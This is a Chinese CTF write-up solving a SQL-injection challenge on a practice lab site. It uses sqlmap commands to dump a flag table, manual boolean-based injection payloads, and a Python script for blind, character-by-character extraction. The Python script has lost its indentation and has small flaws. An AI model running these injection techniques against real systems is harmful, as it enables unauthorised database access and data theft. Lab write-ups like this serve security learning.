CTF解題筆記(3)
題目連結:http://ctf5.shiyanbar.com/web/index_3.php
還是一個SQL注入的題目,以下使用SQLMAP爆破的方式以及手工注入的方式來解決這道題目:
(1)sqlmap自動爆破:
首先是嘗試看看這個url是否存在注入點:
在kali linux下使用sqlmap:
sqlmap -u http://ctf5.shiyanbar.com/web/index_3.php?id=1
可以測試得到,id這是一個注入點,並且可以得到後臺資料庫的一些資訊
然後可以開始通過暴力破解的方式獲取資料庫檔案的資料庫名:
sqlmap -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --dbs -v 0
可以看到,有兩個資料庫,第一個應該是屬於系統的一個數據庫,下面那個web1應該才是我們要的
然後開始獲取資料庫的列名:
sqlmap -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --D web1 --tables
可以看到在web1資料庫中有兩個表,明顯flag是我們要的那一個,看來我們離flag不遠了!
接下來開始猜解flag表中的具體的列名:
sqlmap -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --D web1 --tables -T flag --columns
看到了flag列名,看來離flag不遠了,最後一步,猜解flag列中的具體內容:
sqlmap -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --D web1 --tables -T flag --columns --dump
成功get flag!
(2)手工注入:
先令id=1,發現頁面正常返回Hello!,然後令id=1',發現頁面報錯:
令id=0,頁面無錯誤提示,不過也沒有正常返回Hello!的頁面
輸入?id=1 and 1=2頁面正常 ?id=1' and '1'='2 頁面無輸出
可以看出,這個是字元型SQL注入,未過濾引號和and,條件正確的情況下輸出hello,錯誤無輸出,比起SQL盲注,好像又多了語法報錯
接下來是對錶名的猜解:
令id=1' and(select count(*) from admin)>0 #
發現報錯,不存在admin這個表,1' and(select count(*) from flag)>0 #的時候,返回hello,說明存在flag表
然後是對列名的猜解:
?id=1'and(select 列名 from flag)>-1 #
或?id=1'unionselect 列名 from flag #
當id欄位列名存在輸出hello,不存在則報錯,
?id=1'and(select flag from flag)>-1 #,頁面輸出hello
最後就是對內容的猜解了,寫了一個小指令碼自動跑免得手工輸入;
其原理就是把欄位內容分解成一位一位,然後一個個比較:
#author:Travis Zeng
import requests
import time
import string
strings=string.digits+string.ascii_lowercase
element=[]
element_str=''
FLAG=False
def POC(x,j):
url='http://ctf5.shiyanbar.com/web/index_3.php?id='
poc="1'and+ascii(substr((select+flag+from+flag)%%2C%d%%2C1))%%3D%d%%23" %(x,i) #python中會將%翻譯為結構化輸出,若要使用%翻譯轉義字元則要用%%
print('testing url:'+url+poc)
res=requests.get(url+poc)
if res.headers['Content-Length']=='471':
return 1
else:
return 0
for x in range(1,35):
for i in range(30,129):
if POC(x,i):
element.append(i)
break
elif i==128:
FLAG=True
if FLAG:
break
for k in range(0,len(element)):
element_str=element_str+chr(element[k])
print("Test Finish! ")
print(element_str)